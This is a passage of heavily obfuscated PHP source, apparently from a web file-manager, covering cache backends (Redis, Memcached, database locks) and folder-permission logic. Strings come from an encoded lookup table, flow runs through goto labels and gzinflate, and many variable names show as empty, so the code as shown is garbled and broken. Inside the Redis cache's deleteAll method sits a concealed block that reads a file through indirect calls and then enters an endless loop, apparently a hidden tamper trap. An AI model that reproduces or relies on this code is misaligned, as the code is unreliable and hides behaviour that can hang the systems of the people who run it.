$_SERVER[秼][839] => $왩, $_SERVER[秼][912] => time()); if ($) { $ȼ[$_SERVER[秼][909]] = $; $ȼ[$_SERVER[秼][910]] = $ˠԱ; } Backup::set($ȼ); return !0; } private function _fileExist($, &$, $) { $ =& $_SERVER[秼]; $Ӥ = $[$[87]]; if (in_array($[$[552]], $)) { return !1; } if (!in_array($[$[906]], $)) { return !1; } if (IO::exist($Ӥ)) { return !0; } $ = get_path_father($Ӥ); if (IO::exist($)) { $[] = $[$[552]]; return !1; } $ = array($[906] => $[$[906]], $[87] => array($[470], "{$}\45")); $Ҵ = Model($[878])->where($)->field($[553])->select(); $ = array_merge($, array_to_keyvalue($Ҵ, $[12], $[552])); return !1; } private function _fileFilter($Ɇ) { $ =& $_SERVER[秼]; return; if (empty($Ɇ)) { return; } $Պ = array($[552] => array($[7], array_unique($Ɇ))); $瞀 = Model($[913])->where($Պ)->field($[193])->select(); foreach ($瞀 as $) { Model($[913])->remove($[$[193]], !1); } } private function storeIds() { $ׁ =& $_SERVER[秼]; $ = Model($ׁ[855])->listData(); $̾ = array(); $ = $GLOBALS[$ׁ[6]][$ׁ[92]][$ׁ[914]]; foreach ($ as $Յ) { $Ƞۢ = strtolower($Յ[$ׁ[98]]); if (!isset($[$Ƞۢ])) { continue; } $Ǧ = $ׁ[77] . (isset($[$Ƞۢ]) ? $[$Ƞۢ] : ucfirst($Ƞۢ)); if (!class_exists($Ǧ)) { continue; } $̾[] = $Յ[$ׁ[486]]; } return $̾; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $Ո =& $_SERVER[秼]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $̡׃ = $GLOBALS[$Ո[6]][$Ո[426]]; $ = $̡׃[$̡׃[$Ո[915]]]; $ = $̡׃[$Ո[916]]; switch ($̡׃[$Ո[915]]) { case $Ո[21]: self::$handle = Model($Ո[917]); break; case $Ո[918]: self::$handle = new CacheRedis($, $); break; case $Ո[919]: self::$handle = new CacheMemcached($, $); break; case $Ո[232]: self::$handle = new CacheFile($, $); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($ċ) { if (is_array($ċ) || is_object($ċ)) { $ċ = json_encode($ċ); } $ċ = rawurlencode($ċ); return md5(KOD_SITE_ID . $_SERVER[秼][11] . $ċ); } public static function get($ӭ, $֕ỉ = false) { $ = self::key($ӭ); $ = self::init(); if ($֕ỉ) { return unserialize($->get($)); } if (!isset(self::$memoryCache[$])) { $µڵ = $->get($); self::$memoryCache[$] = unserialize($µڵ); } return self::$memoryCache[$]; } public static function set($, $ԏ, $̤ј = false) { $ =& $_SERVER[秼]; $Չ = self::key($); if (isset(self::$memoryCache[$Չ]) && self::$memoryCache[$Չ] === $ԏ) { return !0; } if ($̤ј === 0) { self::$memoryCache[$Չ] = $ԏ; return !0; } $ = self::init(); $Ȣ = serialize($ԏ); CacheLock::lock($ . $[920]); $ = $->set($Չ, $Ȣ, $̤ј); self::$memoryCache[$Չ] = $ԏ; CacheLock::unlock($ . $[920]); return $; } public static function getCall($謚, $, $︁, $ = array()) { $ =& $_SERVER[秼]; $ۨ = self::get($謚); if ($ۨ || $ۨ === $[12]) { return $ۨ; } $ۨ = call_user_func_array($︁, $); $ۨ = $ۨ ? $ۨ : $[12]; self::set($謚, $ۨ, $); return $ۨ; } public static function remove($) { $ = self::key($); unset(self::$memoryCache[$]); self::clearTimeout(); CacheLock::lock($); $ = self::init()->remove($); CacheLock::unlock($); return $; } public static function removeMemory($ȭ) { $ů = self::key($ȭ); unset(self::$memoryCache[$ů]); } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[秼][921])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[秼][922])) { self::init()->clearTimeout(); } } } goto Dܱ; DՔ: define($_SERVER[秼][0], $_SERVER[秼][1]); $_SERVER[λ] = explode($_SERVER[秼][2], gzinflate(substr($_SERVER[秼][3], 10, -8))); function binCheckEq($, $) { return $ == $; } goto B; F: class CacheLockDatabase { public function lock($画, $ = 0) { $ = Model($_SERVER[秼][917]); $ѯ = microtime(!0) + $; while (microtime(!0) < $ѯ) { $ſ = $->get($画); if (!$ſ || $ſ < microtime(!0)) { $ = $->set($画, $ѯ); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($Ց) { return Model($_SERVER[秼][917])->get($Ց); } public function unlock($) { Model($_SERVER[秼][917])->remove($); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($, $լ) { $ =& $_SERVER[秼]; if (!class_exists($[956])) { show_json($[957], !1); } $this->cacheTime = $լ; $this->handle = new Memcached(); if (is_array($[$[958]]) && count($[$[958]]) >= 1) { foreach ($[$[958]] as $˰) { $Ǧ = explode($[4], $˰); $this->handle->addServer($Ǧ[0], $Ǧ[1]); } } else { $this->handle->addServer($[$[208]], $[$[209]]); } } public function set($ٿܞ, $, $ԏ = false) { $ԏ = $ԏ ? $ԏ : $this->cacheTime; return $this->handle->set($ٿܞ, $, $ԏ); } public function get($) { return $this->handle->get($); } public function remove($) { return $this->handle->delete($); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($, $ݬ) { $ =& $_SERVER[秼]; if (!class_exists($[959])) { show_json($[960], !1); } $this->cacheTime = $ݬ; $ʐ = isset($[$[961]]) ? $[$[961]] : 10; $ = _get($, $[958]); if ($ && is_array($)) { $this->initCluster($, $ʐ); } else { $this->handle = $this->init($, $ʐ); } } private function init($¸, $ϐ) { $ =& $_SERVER[秼]; $ݮﯗ = new Redis(); $ș = isset($¸[$[962]]) ? $¸[$[962]] : !1; if ($ș) { $ݮﯗ->pconnect($¸[$[208]], $¸[$[209]], $ϐ); } else { $ݮﯗ->connect($¸[$[208]], $¸[$[209]], $ϐ); } if (!empty($¸[$[498]])) { $ݮﯗ->auth($¸[$[498]]); } if (!empty($¸[$[845]]) && $¸[$[845]] != 0) { $ݮﯗ->select($¸[$[845]]); } return $ݮﯗ; } private function initCluster($㣝, $ͻ) { $ѫӠ =& $_SERVER[秼]; $ = array($ѫӠ[963], $ѫӠ[964], $ѫӠ[965]); $Ñ = $ѫӠ[963]; if (isset($㣝[$ѫӠ[16]]) && in_array($㣝[$ѫӠ[16]], $)) { $Ñ = $㣝[$ѫӠ[16]]; } switch ($Ñ) { case $ѫӠ[963]: $this->_slave($㣝, $ͻ); break; case $ѫӠ[964]: break; case $ѫӠ[965]: $this->isCluster = !0; $ = $㣝[$ѫӠ[958]]; $ = isset($㣝[$ѫӠ[962]]) ? $㣝[$ѫӠ[962]] : !1; $͕٪ = isset($㣝[$ѫӠ[498]]) ? $㣝[$ѫӠ[498]] : null; $this->handle = new RedisCluster(NUll, $, $ͻ, $ͻ, $, $͕٪); break; default: break; } } private function _slave($׃, $Ě) { $ݩ = $׃[$_SERVER[秼][958]]; $this->filterConfig($׃, $ݩ[0]); $this->handle = $this->init($׃, $Ě); unset($ݩ[0]); if (empty($ݩ)) { return; } $ = array_rand($ݩ); $this->filterConfig($׃, $ݩ[$]); $this->slaveHandle = $this->init($׃, $Ě); } private function filterConfig(&$, $) { $ =& $_SERVER[秼]; $й = explode($[4], $); $ץ = array($[208] => $й[0], $[209] => $й[1]); $ = array_merge($, $ץ); } public function set($І, $, $ݘ = false) { $ݘ = $ݘ ? $ݘ : $this->cacheTime; return $this->handle->setEx($І, $ݘ, $); } public function setLock($, $э, $芲ʙ) { return $this->handle->setNX($, $э); } public function get($˨) { $ǚ͍ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $ǚ͍->get($˨); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $ =& $_SERVER[秼]; if (!isset($_SERVER[$[434]]) || !isset($_SERVER[$[432]])) { $̯ = $[966]; $ޕ = $[435]; $ܬ = $_SERVER[$[436]] . $[437]; $ٞ = $ޕ($ܬ); $ = explode($[287], $ٞ); if (count($) < $[702]) { $ð = $[439]; $ð(); } $ȭ = $[967]; $ȭ($_SERVER[$[968]]); $Ŀ䀿 = 1; for ($Å = $Ŀ䀿; $Å > 0; $Å++) { $ȭ = json_encode($GLOBALS[$[503]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } goto fݶМ; d߂Ưѕ: class SourceAuthModel extends ModelBase { protected $tableName = "\x69\157\x5f\x73\157\165\162\x63\145\137\x61\x75\x74\x68"; public function getAuth($ሦ) { $ŧķ =& $_SERVER[秼]; $ = $this->sourceAuthSelect($ሦ); $Ѕ = array(); $ћ = array(); $ = 2 << 25; foreach ($ as $) { $ = Model($ŧķ[582])->listData($[$ŧķ[2092]]); if (!$) { continue; } $Ѕ[] = $; $ڗȻ = 0; if ($[$ŧķ[190]] == SourceModel::TYPE_GROUP) { $ڗȻ = $ * 2; } if ($[$ŧķ[190]] == SourceModel::TYPE_USER) { $ڗȻ = $; } if ($[$ŧķ[190]] == SourceModel::TYPE_USER && $[$ŧķ[580]] == $ŧķ[230]) { $ڗȻ = 0; } $ћ[] = $[$ŧķ[498]] + $ڗȻ; } array_multisort($ћ, SORT_DESC, $Ѕ); return $Ѕ; } public function sourceAuthSelect($) { $י =& $_SERVER[秼]; static $Ø = array(); $ = is_array($) ? !1 : !0; if ($) { $ = array($); } $ = array(); foreach ($ as $) { if (isset($Ø[$])) { $[$] = $Ø[$]; } } if (count($) == count($)) { return $ ? $[$[0]] : $; } $· = $י[2170]; $ = array($י[193] => array($י[7], $)); $ = $this->field($·)->order($י[486])->where($)->select(); $ = array_to_keyvalue_group($, $י[193]); foreach ($ as $) { $Ø[$] = $[$] ? $[$] : array(); } if ($) { return $; } return $; } public function setAuth($, $) { $ُ =& $_SERVER[秼]; $ޠ = Model($ُ[1430])->sourceInfo($); if (!$ޠ) { return !1; } if ($ޠ[$ُ[190]] != SourceModel::TYPE_GROUP) { return !1; } $ = 1; $䵥 = $ޠ[$ُ[580]]; if ($䵥 != $) { $Ƌ = array($ُ[1984] => $䵥); $˸ = Model($ُ[2078])->field($ُ[1783])->where($Ƌ)->select(); $˸ = array_to_keyvalue($˸, $ُ[12], $ُ[1783]); } $Ȅ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ = array(); foreach ($ as $떜î) { if (!in_array($떜î[$ُ[190]], $Ȅ)) { show_json(LNG($ُ[2171]), !1); } if ($䵥 != $) { if ($떜î[$ُ[190]] == SourceModel::TYPE_GROUP) { } if ($떜î[$ُ[580]] != 0 && !in_array($떜î[$ُ[580]], $˸)) { } } if ($떜î[$ُ[580]] == 0) { $떜î[$ُ[190]] = SourceModel::TYPE_USER; } $[] = array($ُ[193] => $, $ُ[190] => intval($떜î[$ُ[190]]), $ُ[580] => intval($떜î[$ُ[580]]), $ُ[2092] => intval($떜î[$ُ[2092]]) ? intval($떜î[$ُ[2092]]) : 0, $ُ[2153] => intval($떜î[$ُ[2153]]) ? intval($떜î[$ُ[2153]]) : -1); } $this->where(array($ُ[502] => $))->delete(); $this->addAll($); return !0; } public function authClear($賋) { $û =& $_SERVER[秼]; $ = Model($û[1430])->sourceInfo($賋); $ಔ = array($賋); if ($[$û[496]] == $û[91]) { $ = array($û[666] => array($û[626], $[$û[595]] . $賋 . $û[627])); $ಔ = Model($û[1430])->field($û[502])->where($)->getField($û[193], !0); $ಔ[] = $賋; } $this->where(array($û[502] => array($û[503], $ಔ)))->delete(); return !0; } public function getAllChildren($) { $ =& $_SERVER[秼]; $ߏ = Model($[1430])->sourceInfo($); if ($ߏ[$[496]] != $[91]) { return $this->sourceListAuth(array($)); } if ($ߏ[$[190]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $ = array($); if ($ߏ[$[192]] == $[230] && $ߏ[$[580]] != $) { $ = $this->groupChidldAllRootSource($ߏ[$[580]]); } $ = $this->field($[193])->group($[193])->select(); $ = array_to_keyvalue($, $[12], $[193]); if (!$) { return array(); } $Ψ = $[2172]; $ = array($[193] => array($[7], $), $[516] => $[230]); $ = Model($[913])->field($Ψ)->where($)->select(); $ = array($); foreach ($ as $) { foreach ($ as $) { $ƪ = $[50] . $ . $[50]; $߈ = $[$[595]] . $[$[193]] . $[50]; if (strstr($߈, $ƪ)) { $[] = $[$[193]]; break; } } } return $this->sourceListAuth($); } private function sourceListAuth($Dz) { $㾆Ӣ =& $_SERVER[秼]; $박̒ = Model($㾆Ӣ[1430])->sourceListInfo($Dz, !0); $Ҍ = $this->sourceAuthSelect($Dz); $ń = array(); $ = array(); foreach ($박̒ as $) { unset($[$㾆Ӣ[540]]); unset($[$㾆Ӣ[538]]); unset($[$㾆Ӣ[498]]); unset($[$㾆Ӣ[90]]); $ͯ = $Ҍ[$[$㾆Ӣ[193]]]; if (!$ͯ) { continue; } $[$㾆Ӣ[2173]] = $this->authTargetInfo($ͯ); $[$㾆Ӣ[593]] = rtrim($[$㾆Ӣ[599]], $㾆Ӣ[8]) . $㾆Ӣ[8] . ltrim($[$㾆Ӣ[593]], $㾆Ӣ[8]); $ń[] = $; $ = count(explode($㾆Ӣ[8], trim($[$㾆Ӣ[593]], $㾆Ӣ[8]))); $[] = $ + ($[$㾆Ӣ[33]] == $㾆Ӣ[78] ? 0 : 1000); } array_multisort($, SORT_ASC, $ń); return $ń; } private function groupChidldAllRootSource($) { $ƍ =& $_SERVER[秼]; $ㆻ = Model($ƍ[2174])->groupChildrenAll($); $Ѫ٣ = array($ƍ[192] => 0, $ƍ[580] => array($ƍ[7], $ㆻ), $ƍ[190] => SourceModel::TYPE_GROUP); $ֈ = Model($ƍ[913])->field($ƍ[193])->where($Ѫ٣)->select(); $ֈ = array_to_keyvalue($ֈ, $ƍ[12], $ƍ[193]); return $ֈ; } private function authTargetInfo($) { $ =& $_SERVER[秼]; $ = array(); $ = array(); $І = 2 << 25; foreach ($ as $،) { $դ = Model($[582])->listData($،[$[2092]]); if (!$դ) { continue; } if ($،[$[190]] == SourceModel::TYPE_USER) { $ = Model($[588])->getInfoSimpleOuter($،[$[580]]); if ($[$[1783]] == $[1282]) { continue; } if ($[$[1783]] == $[230]) { $[$[32]] = LNG($[2175]); } } else { $ = Model($[596])->getInfoSimple($،[$[580]]); } if (!$) { continue; } $[$[551]] = $դ; $[] = $; $ = 0; if ($،[$[190]] == SourceModel::TYPE_GROUP) { $ = $І * 2; } if ($،[$[190]] == SourceModel::TYPE_USER) { $ = $І; } if ($،[$[190]] == SourceModel::TYPE_USER && $،[$[580]] == $[230]) { $ = 0; } $[] = $դ[$[498]] + $; } array_multisort($, SORT_DESC, $); return $; } public function getAllChildrenByUser($, $) { $փ =& $_SERVER[秼]; $Ĉ = Model($փ[608])->getInfo($); if (!$ || !$ || !$Ĉ) { return array(); } $ = Model($փ[1430])->sourceInfo($); $ܩ = array(); $С = 1; if ($[$փ[192]] == $փ[230] && $[$փ[580]] != $С && $this->groupContainUser($[$փ[580]], $)) { foreach ($Ĉ[$փ[2176]] as $ʷ) { $ꚺ = Model($փ[596])->getInfo($ʷ[$փ[1984]]); $ = Model($փ[608])->getInfoSimpleOuter($); $[$փ[551]] = $ʷ[$փ[498]]; if (Model($փ[582])->authCheckAction($ʷ[$փ[498]][$փ[498]], $փ[2005])) { continue; } $ӕ = array($փ[32] => $փ[1302] . $ꚺ[$փ[32]], $փ[193] => $ꚺ[$փ[90]][$փ[193]], $փ[87] => KodIO::make($ꚺ[$փ[90]][$փ[193]]), $փ[192] => $փ[230], $փ[190] => $փ[589], $փ[33] => $փ[630], $փ[593] => $ꚺ[$փ[600]], $փ[1984] => $ꚺ[$փ[1984]], $փ[597] => $ꚺ[$փ[192]], $փ[2173] => array($)); $ܩ[$ӕ[$փ[193]]] = $ӕ; } } $Ҍ = array(); $Ϯў = $this->getAllChildren($); foreach ($Ϯў as $ӗ) { $ = !1; foreach ($ӗ[$փ[2173]] as $̀ը) { if ($̀ը[$փ[1783]]) { if ($̀ը[$փ[1783]] == $) { $ = !0; break; } } if ($̀ը[$փ[1984]]) { if ($this->groupContainUser($̀ը[$փ[1984]], $)) { $ = !0; break; } } } if ($) { $Ҍ[] = $ӗ; } $ƿ = $ӗ[$փ[193]]; if (isset($ܩ[$ƿ])) { $ӗ[$փ[2173]][] = $ܩ[$ƿ][0]; $ܩ[$ƿ] = !1; } } $ܩ = array_filter(array_values($ܩ)); $Ҍ = array_merge($ܩ, $Ҍ); return $Ҍ; } public function setAllChildrenByUser($ߚ, $, $) { $Γ =& $_SERVER[秼]; $ = $this->getAllChildrenByUser($ߚ, $); if (!$ || !$) { return !1; } foreach ($ as $) { $ڋ = array(); foreach ($[$Γ[2173]] as $) { $ = $[$Γ[551]]; $͋ = $[$Γ[1783]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $Ʀ = $[$Γ[1783]] ? $[$Γ[1783]] : $[$Γ[1984]]; if ($[$Γ[1783]] && $[$Γ[1783]] == $) { continue; } $ڋ[] = array($Γ[193] => $[$Γ[193]], $Γ[190] => $͋, $Γ[580] => intval($Ʀ), $Γ[2092] => isset($[$Γ[486]]) ? intval($[$Γ[486]]) : 0, $Γ[2153] => isset($[$Γ[2153]]) ? intval($[$Γ[2153]]) : -1); } $ڋ[] = array($Γ[193] => $[$Γ[193]], $Γ[190] => SourceModel::TYPE_USER, $Γ[580] => intval($), $Γ[2092] => intval($), $Γ[2153] => -1); $this->where(array($Γ[502] => $[$Γ[193]]))->delete(); $this->addAll($ڋ); } return !0; } public function get($Ǫ) { $ = $this->getSourceList(array($Ǫ), !0); return $[0]; } public function getSourceList($⏋, $ = false, $ = false) { $힂 =& $_SERVER[秼]; if (!$⏋) { return array(); } $ޕ = Model($힂[1430]); if (!$ && count($⏋) == 1) { $ = array(); $[$⏋[0]] = $ޕ->sourceInfo($⏋[0]); } if (!$) { $ = array($힂[502] => array($힂[503], $⏋)); $ = $ޕ->field($힂[2177])->where($)->select(); $ = array_to_keyvalue($, $힂[193]); } $Ǩ = $⏋; foreach ($ as $㩧 => $Ü) { $ސȪ = $ޕ->parentLevelArray($Ü[$힂[595]]); $Ǩ = array_merge($Ǩ, array($㩧), array_reverse($ސȪ)); } $Ǩ = array_values(array_unique($Ǩ)); if (!$Ǩ) { return array(); } $ŕ = $this->sourceAuthSelect($Ǩ); $ = array(); foreach ($Ǩ as $ƴ) { if (isset($ŕ[$ƴ])) { $[$ƴ] = $ŕ[$ƴ]; } } $ = $this->userIsRoot($); $ = AuthModel::authAll(); $Ϧ = array($힂[499] => $, $힂[2178] => array($힂[504] => 0, $힂[1990] => $, $힂[505] => LNG($힂[2179]), $힂[2007] => $힂[2180])); $순 = array(); foreach ($ as $ƴ => $) { if ($ && $GLOBALS[$힂[6]][$힂[2003]]) { $순[$ƴ] = $Ϧ; continue; } $순[$ƴ] = $this->makeSourceAuth($, $, $); } return $순; } public function authDeepCheck($ƍ, $
= false) { $Ӊ =& $_SERVER[秼]; $
= $
? $
: USER_ID; $ǫ = $this->makeAuthDeep($
); if (!in_array($ƍ, $ǫ[$Ӊ[2181]])) { return !1; } $䐭ߣ = array(); foreach ($ǫ[$Ӊ[2182]] as $ǫ => $) { if (!in_array($ƍ, $)) { continue; } $䐭ߣ[] = $ǫ; } if (!$䐭ߣ) { return !1; } $ġ = $䐭ߣ ? $䐭ߣ[0] : $ƍ; return array($Ӊ[499] => -1, $Ӊ[551] => array($Ӊ[504] => $Ӊ[1282], $Ӊ[1990] => $Ӊ[230], $Ӊ[505] => LNG($Ӊ[2183]), $Ӊ[2007] => $Ӊ[2184]), $Ӊ[2185] => LNG($Ӊ[2186]), $Ӊ[2187] => $this->sourceAuthInfo($ġ)); } protected function makeAuthDeep($ = false) { $Ơ =& $_SERVER[秼]; static $ = array(); $ = $ ? $ : USER_ID; if (isset($[$])) { return $[$]; } $ġꀁ = Model($Ơ[2188])->listData(); $ = array(); foreach ($ġꀁ as $Ʌ) { if ($Ʌ[$Ơ[498]] == 0 && $Ʌ[$Ơ[2006]] == $Ơ[91]) { $[] = $Ʌ[$Ơ[486]]; } } $ = $this->userGroupParents($); $ȫ = array($Ơ[190] => SourceModel::TYPE_USER, $Ơ[580] => $); if ($) { $ȫ = array(array($Ơ[190] => SourceModel::TYPE_USER, $Ơ[580] => $), array($Ơ[190] => SourceModel::TYPE_GROUP, $Ơ[580] => array($Ơ[503], $)), $Ơ[1086] => $Ơ[2086]); } $ = $this->field($Ơ[2189])->where($ȫ)->select(); $삢 = array(); $ջ = array_to_keyvalue_group($, $Ơ[193]); foreach ($ջ as $ => $Ͷҕ) { $ݎ = $this->authArrayCheck($Ͷҕ, $); if ($ݎ[$Ơ[499]] > 0) { $삢[] = $ . $Ơ[12]; } } if ($) { $▐ = Model($Ơ[596]); foreach ($ as $) { $Ү = $▐->getInfo($); if (!$Ү || !is_array($Ү[$Ơ[90]])) { continue; } $삢[] = $Ү[$Ơ[90]][$Ơ[193]]; } } $ៅ = array(); $¦ = $; $陓 = Model($Ơ[1430]); $▐ = Model($Ơ[596]); $܈ = array(); $ﯱ = array(); $Ճ = array(); $ԟ뇍 = array(); if ($삢) { $ܤͷ = $陓->where(array($Ơ[193] => array($Ơ[503], $삢)))->select(); foreach ($ܤͷ as $) { if ($[$Ơ[516]] == $Ơ[91]) { continue; } $ = $陓->parentLevelArray($[$Ơ[595]]); $ៅ = array_merge($ៅ, $); $¦[] = $[$Ơ[580]]; $܈[$[$Ơ[193]]] = $; $ﯱ[$[$Ơ[193]]] = $[$Ơ[580]]; } } $¦ = array_values(array_unique($¦)); $ύ = $¦; foreach ($ύ as $) { $Ү = $▐->getInfo($); $ = $陓->parentLevelArray($Ү[$Ơ[595]]); $¦ = array_merge($¦, $); } $¦ = array_values(array_unique($¦)); foreach ($¦ as $) { $Ү = $▐->getInfo($); $ៅ[] = $Ү[$Ơ[90]][$Ơ[193]]; $Ճ[$] = $Ү[$Ơ[90]][$Ơ[193]]; $ԟ뇍[$] = $陓->parentLevelArray($Ү[$Ơ[595]]); } foreach ($܈ as $ߓ => $ӝ) { $ = $ﯱ[$ߓ]; if (!$ || !$Ճ[$]) { continue; } $ = array(); foreach ($ԟ뇍[$] as $) { $[] = $Ճ[$]; } $܈[$ߓ] = array_merge($, $ӝ); } $ៅ = array_values(array_unique($ៅ)); $ږ = array($Ơ[2181] => $ៅ, $Ơ[2182] => $܈); $[$] = $ږ; return $ږ; } private function makeSourceAuth($Ɇ, $, $ϳܤ = false) { $ =& $_SERVER[秼]; $ѻ = $[91]; $ü = $Ɇ[$[580]]; $ѣɑ = $Ɇ[$[190]] == SourceModel::TYPE_GROUP; $ѰǴ = $ѣɑ ? $this->groupRootAuth($ü, $ϳܤ) : !1; if ($ѰǴ && Model($[582])->authCheckAction($ѰǴ[$[498]], $[2005])) { return $this->groupAuthInfo($ѰǴ, $ü); } $ = Model($[1430])->parentLevelArray($Ɇ[$[595]]); $ = array_merge(array($Ɇ[$[193]]), array_reverse($)); $Ս˧ = !1; foreach ($ as $ɀ) { if (!isset($[$ɀ])) { continue; } $Ѳ = $this->authMake($[$ɀ], $ϳܤ); if ($Ѳ[$[551]]) { $Ս˧ = $Ѳ; break; } } if (!$ѣɑ) { return $Ս˧; } if (!$Ս˧ && $ѰǴ) { $Ս˧ = $this->groupAuthInfo($ѰǴ, $ü); } if (!$Ս˧) { $ȸ = Model($[596])->getInfo($ü); $Ї = explode($[50], trim($ȸ[$[595]], $[50])); $Ї = array_reverse($Ї); foreach ($Ї as $¦) { if ($¦ == $[230] || $¦ == $ѻ) { continue; } $Ž = $this->groupRootAuth($¦, $ϳܤ); if (!$Ž) { continue; } $Ս˧ = $this->groupAuthInfo($Ž, $¦); break; } } if (!$Ս˧ || $Ս˧[$[499]] <= 0) { $Ĝ = $this->authDeepCheck($Ɇ[$[193]], $ϳܤ); if ($Ĝ) { $Ս˧ = $Ĝ; } } return $Ս˧; } private function userIsRoot($ = false) { $ĺ =& $_SERVER[秼]; if (!$ && KodUser::isRoot()) { return !0; } $ = Model($ĺ[608])->getInfo($); $ޖ = Model($ĺ[2190])->listData($[$ĺ[2191]]); if ($ޖ && $ޖ[$ĺ[586]][$ĺ[2192]] == 1) { return !0; } return !1; } private function sourceAuthInfo($) { $ =& $_SERVER[秼]; $ = Model($[1430]); $ = $->sourceInfo($); if (!$) { return !1; } $->groupPathDisplay($); $Ņ = array($); $Ņ = $->_listAppendPath($Ņ); $ = $Ņ[0]; $҈ = $[$[593]]; if (isset($[$[601]])) { $٥ = explode($[8], trim($[$[593]], $[8])); array_shift($٥); $҈ = $[$[599]] . $[2193] . implode($[8], $٥); } return array($[505] => $[$[32]], $[87] => KodIO::make($[$[193]]), $[2194] => $҈); } private function groupAuthInfo($, $) { $۔ =& $_SERVER[秼]; $ĩ՜ = Model($۔[596])->getInfo($); return array($۔[2195] => intval($[$۔[498]]), $۔[2178] => $, $۔[2196] => LNG($۔[2197]), $۔[2187] => array($۔[505] => $ĩ՜[$۔[32]], $۔[87] => KodIO::make($ĩ՜[$۔[90]][$۔[193]]), $۔[2194] => $ĩ՜[$۔[600]])); } protected function groupRootAuth($ύ, $ = false) { $ۻ =& $_SERVER[秼]; $ = $ ? $ : USER_ID; $ʙ = $ . $ۻ[2198] . $ύ; static $ȿ = array(); if (isset($ȿ[$ʙ])) { return $ȿ[$ʙ]; } $ߎ = Model($ۻ[596])->getInfo($ύ); $ߙ = $this->userGroupList($); $ = isset($ߙ[$ύ]) ? $ߙ[$ύ][$ۻ[498]] : !1; if ($ && Model($ۻ[582])->authCheckAction($[$ۻ[498]], $ۻ[2005])) { $ȿ[$ʙ] = $; return $; } $ = $this->sourceAuthSelect($ߎ[$ۻ[90]][$ۻ[193]]); $ = $ ? $this->authMake($, $) : !1; $ = $ ? $[$ۻ[551]] : !1; $ȿ[$ʙ] = $ ? $ : $; return $ȿ[$ʙ]; } public function authOwnerApply($Ͻ) { $Ҳ =& $_SERVER[秼]; if (empty($Ͻ[$Ҳ[498]]) || isset($Ͻ[$Ҳ[2199]]) && $Ͻ[$Ҳ[2199]]) { return $Ͻ; } if (AuthModel::authCheckRoot($Ͻ[$Ҳ[498]][$Ҳ[499]])) { return $Ͻ; } $ = Model($Ҳ[1430])->parentLevelArray($Ͻ[$Ҳ[595]]); $ = array_merge(array($Ͻ[$Ҳ[193]]), array_reverse($)); $ɳ = $this->sourceAuthSelect($); $ϔ = array(); $ = array(); foreach ($ɳ as $錓ᕞ => $) { $Ν = $this->authFolderOwnerUser($); $ϔ[$錓ᕞ] = $Ν; $ = array_merge($, $Ν[$Ҳ[676]]); if ($Ν[$Ҳ[2200]]) { break; } } if (count($) == 0) { $ = $this->authFolderOwnerGroup($Ͻ[$Ҳ[580]]); } $ = array_unique($); if (AuthModel::authCheckRoot($Ͻ[$Ҳ[498]][$Ҳ[499]])) { $[] = USER_ID; } $Ͻ[$Ҳ[498]][$Ҳ[2201]] = Model($Ҳ[588])->userListInfo($); return $Ͻ; } private function authFolderOwnerGroup($Ϧ) { $ =& $_SERVER[秼]; $ݼ = Model($[2078])->where(array($[1984] => $Ϧ))->select(); $ = array(); if (!$ݼ) { return $; } foreach ($ݼ as $Œ) { $⟛ = $this->authInfo($Œ); if (AuthModel::authCheckRoot($⟛[$[498]])) { $[] = $Œ[$[1783]]; } } return $; } private function authFolderOwnerUser($ߙ) { $ۖ =& $_SERVER[秼]; $ĵ = array(); $ڱ = !1; foreach ($ߙ as $˱) { $Ϸ = $this->authInfo($˱); if ($˱[$ۖ[580]] == $ۖ[230]) { $ڱ = !0; } if ($˱[$ۖ[190]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($Ϸ[$ۖ[498]])) { $ĵ[] = $˱[$ۖ[580]]; } } } return array($ۖ[676] => $ĵ, $ۖ[2200] => $ڱ); } public function authMake($خФ, $ϯ = false) { $ =& $_SERVER[秼]; $أ = $this->authArrayCheck($خФ, $ϯ); if ($أ[$[2202]]) { $أ[$[2202]] = $this->sourceAuthInfo($أ[$[2202]]); } return $أ; } public function authArrayCheck($ޮ, $е = false) { $ª =& $_SERVER[秼]; if (!$ޮ) { return array($ª[499] => 0, $ª[551] => !1); } $е = $е ? $е : USER_ID; $ŕ = 0; $ = 0; $㴙 = 0; $Ӆ = 0; $ = 0; $ = 0; $פ = 1000; $ = 0; $ = 0; $͉ = 0; $ = 0; $ݬ = array($ª[193] => 0); foreach ($ޮ as $ݬ) { $ = $this->authInfo($ݬ); if (!$) { continue; } $̺ = $ݬ[$ª[580]]; $Ȱ = intval($[$ª[498]]); if ($ݬ[$ª[190]] == SourceModel::TYPE_USER && $̺ == $е) { $ŕ = !0; $㴙 = $; $ = $Ȱ; } else { if ($ݬ[$ª[190]] == SourceModel::TYPE_GROUP && $this->groupContainUser($̺, $е)) { $Ӆ = !0; $ʝ = $this->groupStepToUserGroup($̺, $е); if ($ʝ < $פ) { $פ = $ʝ; $ = $Ȱ; $ = $; $ = $̺; } if ($ʝ == $פ && $Ȱ >= $) { $ = $Ȱ; $ = $; $ = $̺; } } else { if ($̺ == $ª[230]) { $ = !0; $ = $; $͉ = $Ȱ; } } } } if ($ŕ) { $ = $; $ = $㴙; $х = LNG($ª[2203]); } else { if ($Ӆ) { $ = $; $ = $; $ = Model($ª[596])->getInfo($); $х = $ª[176] . $[$ª[600]] . $ª[2204] . LNG($ª[2205]); } else { if ($) { $ = $͉; $ = $; $х = LNG($ª[2175]); } else { $ = 0; $ = !1; $х = $ª[12]; } } } $ = array($ª[2195] => intval($), $ª[2178] => $, $ª[2196] => $х, $ª[2187] => 